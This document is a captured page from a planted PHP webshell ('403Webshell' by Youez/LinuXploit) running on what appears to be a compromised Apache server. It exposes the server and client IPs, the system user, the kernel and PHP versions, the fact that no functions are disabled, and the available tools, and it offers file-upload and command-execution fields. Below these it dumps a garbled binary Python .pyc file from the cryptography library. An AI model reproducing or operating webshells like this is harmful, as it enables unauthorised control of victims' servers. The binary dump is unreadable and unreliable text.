403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/__pycache__/concatkdf.cpython-311.pyc
�

p�g��
�
�ddlZddlmZddlmZmZddlmZmZm	Z	ddl
mZdede
fd�Zd	ejd
edeje
ddfd�Zd
e
d
edejgejfde
de
f
d�ZGd�de��ZGd�de��ZdS)�N)�utils)�AlreadyFinalized�
InvalidKey)�
constant_time�hashes�hmac)�KeyDerivationFunction�n�returnc�0�|�dd���S)N��big)�length�	byteorder)�to_bytes)r
s �N/usr/lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/concatkdf.py�
_int_to_u32bers���:�:�Q�%�:�0�0�0��	algorithmr�	otherinfoc��|jdz}||kr"td�|�����|�tjd|��dSdS)Nl��z'Cannot derive keys larger than {} bits.r)�digest_size�
ValueError�formatr�_check_bytes)rrr�
max_lengths    r�_common_args_checksrsh��
�&�)�4�J�
�
����5�<�<�Z�H�H�
�
�	
���
��;�	�2�2�2�2�2��r�key_material�auxfnc��tjd|��dg}d}d}||kr�|��}|�t|����|�|��|�|��|�|�����|t
|d��z
}|dz
}||k��d�|��d|�S)Nrrr����)r�_check_byteslike�updater�append�finalize�len�join)rrrr�output�outlen�counter�hs        r�_concatkdf_deriver-#s���
��>�<�8�8�8��U�F�
�F��G�
�6�/�/��E�G�G��	����w�'�'�(�(�(�	�������	��������
�
�a�j�j�l�l�#�#�#��#�f�R�j�/�/�!���1����6�/�/��8�8�F���G�V�G�$�$rc	��eZdZ	d
dejdedejedej	fd�Z
dejfd�Zd	edefd
�Z
d	ededdfd�ZdS)�
ConcatKDFHashNrrr�backendc�h�t|||��||_||_|�|nd|_d|_dS)NrF)r�
_algorithm�_length�
_otherinfo�_used)�selfrrrr0s     r�__init__zConcatKDFHash.__init__;s?��	�I�v�y�9�9�9�#������.7�.C��������
�
�
rrc�4�tj|j��S�N)r�Hashr2�r6s r�_hashzConcatKDFHash._hashIs���{�4�?�+�+�+rrc�n�|jrt�d|_t||j|j|j��S�NT)r5rr-r3r<r4�r6rs  r�derivezConcatKDFHash.deriveL�:���:�	#�"�"���
� ��$�,��
�D�O�
�
�	
r�expected_keyc�d�tj|�|��|��st�dSr9�r�bytes_eqr@r�r6rrBs   r�verifyzConcatKDFHash.verifyT�3���%�d�k�k�,�&?�&?��N�N�	���	�	rr9)�__name__�
__module__�__qualname__r�
HashAlgorithm�int�typing�Optional�bytes�Anyr7r:r<r@rG�rrr/r/:s�������#����'�����?�5�)�	�
������,�v�{�,�,�,�,�
�5�
�U�
�
�
�
��5����$������rr/c��eZdZ	ddejdedejedejedej	f
d�Z
dejfd	�Z
d
edefd�Zd
ededdfd
�ZdS)�
ConcatKDFHMACNrr�saltrr0c��t|||��||_||_|�|nd|_|j�'td�|j�����|�d|jz}ntj	d|��||_
d|_dS)Nrz{} is unsupported for ConcatKDF�rUF)rr2r3r4�
block_size�	TypeErrorr�namerr�_saltr5)r6rrrUrr0s      rr7zConcatKDFHMAC.__init__Zs���	�I�v�y�9�9�9�#������.7�.C��������'��1�8�8���H�H���
��<��Y�1�1�D�D���v�t�,�,�,���
���
�
�
rrc�@�tj|j|j��Sr9)r�HMACr[r2r;s r�_hmaczConcatKDFHMAC._hmacus���y���T�_�5�5�5rrc�n�|jrt�d|_t||j|j|j��Sr>)r5rr-r3r^r4r?s  rr@zConcatKDFHMAC.derivexrArrBc�d�tj|�|��|��st�dSr9rDrFs   rrGzConcatKDFHMAC.verify�rHrr9)rIrJrKrrLrMrNrOrPrQr7rr]r^r@rGrRrrrTrTYs�������#�
���'�����o�e�$�	�
�?�5�)����
����66�t�y�6�6�6�6�
�5�
�U�
�
�
�
��5����$������rrT)rN�cryptographyr�cryptography.exceptionsrr�cryptography.hazmat.primitivesrrr�"cryptography.hazmat.primitives.kdfr	rMrPrrLrOr�Callable�HashContextr-r/rTrRrr�<module>rgs����
�
�
���������������G�F�F�F�F�F�F�F�F�F�D�D�D�D�D�D�1�S�1�U�1�1�1�1�3��#�3��3���u�%�3�
�	3�3�3�3�%��%��%��?�2�v�1�1�2�%��	%�
�%�%�%�%�.�����)����>)�)�)�)�)�)�)�)�)�)�)r

Youez - 2016 - github.com/yon3zu
LinuXploit